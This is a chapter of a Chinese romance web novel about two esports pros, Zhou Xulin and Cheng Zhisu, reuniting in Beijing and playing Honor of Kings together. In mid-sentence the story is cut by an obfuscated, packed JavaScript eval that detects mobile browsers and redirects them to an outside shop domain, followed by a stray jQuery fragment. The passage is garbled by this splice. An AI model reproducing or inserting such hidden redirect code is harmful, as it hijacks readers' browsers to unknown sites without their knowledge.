(一)
周叙临坐在飞往北京航班的头等舱,一脸严肃地盯着手机屏幕。
他的消息发出去已经有半小时,却还是没等到来人的回复。
手指触碰键盘,他打了几个字,又很快删掉。
程知簌不喜欢他那么黏人,还是不要打扰她,等她有空了总会回复的。
虽然是这么在心里给自己打气,但周叙临为转移自己的注意力,还是将两人的聊天记录翻来覆去地看了几遍。
他的动作幅度不大不是很惹眼,但有这张脸在,还是不免受到了邻座人的关注。
爱美之心人皆有之,爱美男之心不止女人有,男人也有。
坐在周叙临旁边的男人早已观察了他许久,见他一副愁眉苦脸的样,是为什么多少也能猜出来。
他好心递过去一张纸,却被周叙临眼疾手快又丢了回来。
“你干嘛?”周叙临皱着脸。
莫名其妙甩张白纸给他,吓他一跳。
男人表情尴尬:“我以为你哭了……”
周叙临表情一僵,下意识抬手揉了揉眼角,把眼底的涩感塞回去。
“没有,你看错了。”他面无表情地答复。
飞机上升到平流层,空姐开始发餐。
国人向来含蓄内敛,即便心里很想快点拿到航空餐,也要先装作不在意的模样,等空姐叫再扭头说出想要什么。
这么抬头低头,周叙临的视线免不了与身旁的男人撞上。
聊起天是顺其自然的事。
男人提起伤心事,本该递给周叙临的纸巾自己先用上了。
“是我不懂事,异地,还没给我女朋友足够的安全感,让那些不知好歹的家伙趁人之危了!”
周叙临不想聊这种。
男人还在絮叨,最后是一句无比中二的话:“这一次,我一定会抢回她!”
周叙临握着和程知簌一起买的同款手机,没说话。
两相对比下,周叙临的嘴角微微翘起,刚才的烦闷一扫而空。
他有些得意,面上却不显,埋头开始吃饭,还劝男人多吃。
……
出站口多了个意料之外的东西。
小孩费力地举起指示牌,上面写了“欢迎周叙临”五个字。
周叙临抬脚上前,看了看小孩的手臂,见衣服别着志愿者的小红布。
“小孩,谁叫你来的?”
小孩一本正经:“我不是小孩,请叫我志愿者。”
周叙临没想在一个称呼上和个跟他腿一样高的小孩较劲。
“行,小志愿者,我就是你要找的人。”
“身份证看看。”
这小孩,还挺一板一眼。
确认身份后,小孩带着他去到了地下停车场。
这位置偏远,方圆十几米零星停着几辆车,像极了恐怖小说里的设定。
不过小孩的脖子上带着民间执法记录仪,想来他的人身安全还是能有保障的吧。
小孩在一辆车面前站定:“叔叔,就是这里,姐姐在车上呢。”
都到这里了,还不知道是怎么回事那他这些年真在电竞圈白混了。
周叙临揉了一把小孩的头:“什么叔叔,我有那么老?”
小孩的发型被弄乱了,捂着头不愿意再让碰:“叔叔!就是叔叔!”
旁边传来几声轻笑。
周叙临转头,才看见程知簌将车窗降下来了大半。
“谢谢你呀小朋友。”她打开门下车,将手上的贴纸贴到小孩的身上。
“小红花奖励,要收好哦。”
将小孩打发走后,两人才上车。
“你怎么知道我来了?”周叙临语气扭捏。
她不回消息,也不接电话,他可是会有脾气的好吗?
电话打过去不再服务区,又是休赛期,某人会去哪根本不用多猜。
程知簌将他的脸掰过来,亲了一口。
“原谅我了吗?”她们行动派的执行力就是这么强。
周叙临被亲得有些飘飘然,脸上表情还是有点僵。
“不够。”
程知簌又亲了好几口。
的确是她这段时间忙忽略了他,多哄哄也是应该的。
只是周叙临总把握不好那个度,热衷于得寸进尺,最后收获程知簌的一记重拳才肯罢休。
……
休赛期并不忙,周叙临有了很多空余时间。
正巧哪吒三上映,他便计划着去电影院约会。
向程知簌提起时,她的表情有些古怪:“……行吧。”
周叙临没多想,买了票和爆米花,在最佳观赏位置坐下。
他随口问:“我没看过前两部,讲的什么?”
说到这个程知簌就来劲了:“第一部哪吒和敖隐是敌人最后变成朋友了,第二部哪吒为了救敖隐上刀山下火海最后两人仗剑闯江湖!第三部是哪吒敖隐联手救申公豹!”
电影还没正式开场,她絮絮叨叨说了好一会,周叙临却从中品出些不对味来。
“敖、隐?”
程知簌呆住:“呃,说错了,敖丙。”
周叙临没好气地扯下嘴角:“你王者瘾是真大。”
……
基地不许外人留宿,程知簌也不想外人知道他们的关系,给周叙临在附近定了一间酒店。
他答应得好好的,但却在晚上十点的时候出现在了她的房门口。
周叙临低下头,眼见程知簌的表情由茫然变成惊恐,向像天气娃娃的脸。
“你、你是怎么上来的?”
周叙临挑眉:“和经理探讨了一下转会期的事情,他就热情地留我下来咯。”
“我说了不会与你同队。”
“当然知道啊。”周叙临将下巴搁在程知簌的肩上,“不这样说,怎么见到你呢?”
程知簌将脸偏过一边:“不是白天才见?明天也能见。”
周叙临语气闷闷:“不够,一点不够。”
“我不想听你说什么明天见,我想和你天天见,早见,晚也见。”
……
最后,程知簌还是让周叙临进了房间。
她三令五申不许乱动里面的东西,拿了睡衣进浴室洗漱,顺便找出自己的吹风机丢到桌上。
周叙临是洗好澡来的,却因为客房的东西并不是很充足,湿漉漉的头发只是拿毛巾擦擦让它保持不滴水的状态。
程知簌出来的时候看见他把自己的头发吹得乱糟糟,实在看不过去,拿过吹风机帮他吹干头发。
周叙临坐在凳子上,感受着头顶程知簌纤长的手指在发间穿梭,带
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17804465|202522||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来阵阵痒意。
这么一会子功夫,他身上也出了一些薄汗。
程知簌问他要不要再去洗个澡,他摇摇头,说不急。
“那你别碰我的床。”程知簌表情嫌弃。
周叙临轻哼一声,上身往后一倒靠在椅子上:“来,上号。”
程知簌取下头上夹子的手一顿:“啊?”
“发什么呆?今晚带你上百星。”
休赛期的队友会在任何时间段刷新,但就是不会在她要找人五排的时候出没。
单排几次都遇到赛季五六百把的积分战神,指挥是听不懂的,团是要硬上最后葫芦娃救爷爷的。
看着满页飘红的战绩,和邮箱一连串的“举报成功”,程知簌气得发了好几条朋友圈。
“我可是FMVP选手,要你带什么?”
嘴上这么说,程知簌还是停下了手上的动作,打开王者荣耀。
周叙临拿的是个没公开的小号,段位却不低。
程知簌进了房间,突然想起一件事:“我们俩双排,要是遇见粉丝怎么办?”
即便周叙临用的不是大号,光看常用的几个英雄也能猜出号主大概率是男性。
周叙临和她换了个手机:“我早就想过了,这个号可是我专门为了和你打游戏弄的,不会被发现。”
程知簌狐疑地点开主页,被满屏幕的中辅漂亮小国震惊。
软辅中甚至还有瑶。
“这你手打的?”
“当然。”周叙临还挺自信,“几个小国不有手就行,万一有人问起你就说这是喻霓的号。”
在West时,喻霓对外只是运营。
程知簌去到北京后,粉丝也偶尔遇见两人单独吃饭,一来一去就知道了她们是好闺蜜。
“所以你把这号给我是……”
“放心。”
周叙临将预选改成主射手副中单,又指挥程知簌反过来改。
“我现在是喜欢玩公孙离、艾琳、孙尚香的你,而你是喜欢玩漂亮中辅的喻霓。”
多数女孩子对好看的东西有天然滤镜,游戏里也一样。
毕竟,射手如果是黄忠这样的,“南村群童欺我老无力”的既视感占比会更多。
……
一连两三天,周叙临都是趁着晚上训练赛结束后摸进程知簌的房间。
她有点无语,说出去他只是为了带她上分到底有谁会信?
“你到底有没有事?”在周叙临又一次推门而入,程知簌真的怒了。
周叙临愣住:“不是还差三颗星?”
“你来北京就是为了和我打王者?”
“你不是要训练?”
程知簌高涨的情绪瞬间哑火:“……是。”
“那不就好了。”周叙临在她床边坐下。
这段时间他已经知道了将全身上下打理好再进来,也得到了坐床边的许可。
昨天,两人经常深夜双排的事情被路人发现放到网上,引起不少人的讨论。
程知簌以带闺蜜上分的理由糊弄了过去,最后得到了喻霓的夺命连环call。
在喻霓面前她不需要隐瞒,也就三言两语地解释了一遍。
不料,喻霓却将注意力放在了另一件事上——
“你俩在房间盖棉被纯打游戏啊?”